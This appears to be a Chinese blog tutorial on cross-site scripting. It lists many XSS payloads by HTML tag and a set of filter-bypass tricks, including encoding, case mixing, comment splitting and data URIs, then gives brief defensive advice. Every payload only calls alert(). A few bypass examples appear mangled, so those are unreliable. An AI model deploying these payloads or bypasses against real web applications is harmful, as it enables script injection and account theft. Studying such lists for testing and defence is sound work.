XSS攻击概述
跨站脚本攻击(XSS)是指攻击者向网页中插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击目的。
常用XSS攻击向量
1. <img> 标签利用
<!-- 图片加载错误触发 -->
<img src=1 onerror=alert('XSS')>
<!-- 鼠标事件触发 -->
<img src=1 onmouseover=alert('XSS')>
<img src=1 onmouseout=alert('XSS')>
<!-- 点击事件触发 -->
<img src=1 onclick=alert('XSS')>
<!-- 加载事件触发 -->
<img src="valid.jpg" onload=alert('XSS')>
2. <a> 标签利用
<!-- JavaScript伪协议 -->
<a href="javascript:alert('XSS')">点击这里</a>
<a href="javascript:eval(alert('XSS'))">链接</a>
<!-- 事件触发 -->
<a href="" onclick=alert('XSS')>点击</a>
<a href="http://example.com" onmouseover=alert('XSS')>悬停触发</a>
3. <input> 标签利用
<!-- 自动聚焦触发 -->
<input onfocus=alert('XSS') autofocus>
<!-- 点击触发 -->
<input value="点击我" onclick=alert('XSS') type="text">
<!-- 键盘事件触发 -->
<input type="text" onkeydown=alert('XSS')>
<input type="text" onkeypress=alert('XSS')>
<input type="text" onkeyup=alert('XSS')>
<!-- 结合script标签 -->
<input name="name" value=""><script>alert('XSS')</script>
4. <form> 标签利用
<!-- 表单action属性 -->
<form action=javascript:alert('XSS') method="get">
<form action=1 onmouseover=alert('XSS')>
<!-- 表单提交事件 -->
<form onsubmit=alert('XSS')>
<input type=submit>
</form>
5. <svg> 标签利用
<!-- SVG加载事件 -->
<svg onload=alert('XSS')>
<!-- SVG内部脚本 -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
6. <iframe> 标签利用
<!-- 加载事件 -->
<iframe onload=alert('XSS')></iframe>
<!-- JavaScript伪协议 -->
<iframe src=javascript:alert('XSS')></iframe>
<!-- Data URI -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>
7. 其他HTML标签利用
<!-- button标签 -->
<button onclick="alert('XSS')">点击按钮</button>
<!-- p标签鼠标事件 -->
<p onmousedown=alert('XSS')>点击这里</p>
<p onmouseup=alert('XSS')>释放鼠标</p>
<!-- audio/video标签 -->
<audio src=x onerror=alert('XSS')>
<video src=x onerror=alert('XSS')>
<!-- div标签 -->
<div onmouseover=alert('XSS')>悬停区域</div>
<!-- body标签 -->
<body onload=alert('XSS')>
XSS绕过技术
1. 编码绕过
<!-- URL编码 -->
<a href="javascript:%61%6c%65%72%74%28%27%58%53%53%27%29">链接</a>
<!-- HTML实体编码 -->
<img src=x onerror=alert('XSS')>
<!-- Unicode编码 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>
<!-- Base64编码 -->
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
2. 大小写与双写绕过
<!-- 大小写混合 -->
<ImG sRc=x OnErRor=alert('XSS')>
<!-- 双写绕过过滤 -->
<imimgg src=x onerror=alert('XSS')>
<scscriptript>alert('XSS')</scscriptript>
3. 空格与特殊字符绕过
<!-- 使用Tab代替空格 -->
<img src=x onerror=alert('XSS')>
<!-- 使用回车编码 -->
<img%0dsrc=x%0donerror=alert('XSS')>
<!-- 使用/代替空格 -->
<img/src=x/onerror=alert('XSS')>
4. 注释符干扰
<!-- 插入注释干扰检测 -->
<img src=x onerror=alert('XSS')><!-- -->
<sc<!-- -->ript>alert('XSS')</sc<!-- -->ript>
<!-- 利用注释分割关键字 -->
<scr<!--test-->ipt>alert('XSS')</scr<!--test-->ipt>
5. 属性分割与拼接
<!-- 利用多个属性 -->
<img src="x" style="display:none" onerror="alert('XSS')">
<!-- 属性拼接 -->
<img src="x" onerror="al"+"ert('XSS')">
<!-- 利用JavaScript字符串连接 -->
<img src=x onerror=window['al'+'ert']('XSS')>
6. 高级绕过技术
<!-- 利用AngularJS ng-include -->
<div ng-include="'javascript:alert(`XSS`)'"></div>
<!-- 利用模板字符串 -->
<script>alert`XSS`</script>
<!-- 利用location.hash -->
<script>eval(location.hash.slice(1))</script>
<!-- 访问URL: example.com#alert('XSS') -->
<!-- 利用事件委派 -->
<div onclick="alert('XSS')">
<img src=x>
</div>
7. 协议与数据URI绕过
<!-- 使用vbscript协议(仅IE) -->
<a href="vbscript:MsgBox('XSS')">点击</a>
<!-- 使用data URI -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>
<!-- 使用about协议 -->
<iframe src="about:alert('XSS')"></iframe>
防御建议
-
输入验证与过滤
- 对用户输入进行严格验证
- 过滤或转义特殊字符(<, >, ", ', &等)
-
输出编码
- 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
-
内容安全策略(CSP)
- 实施严格的内容安全策略
- 限制脚本来源和执行方式
-
HttpOnly Cookie
- 设置HttpOnly标志,防止JavaScript访问敏感Cookie
-
框架安全功能
- 使用现代框架的内置XSS防护功能
总结
XSS攻击手段多样且不断演变,防御XSS需要采取多层次的安全措施。开发人员应始终保持安全意识,对用户输入保持不信任态度,并实施适当的安全防护措施。
6474

被折叠的 条评论
为什么被折叠?



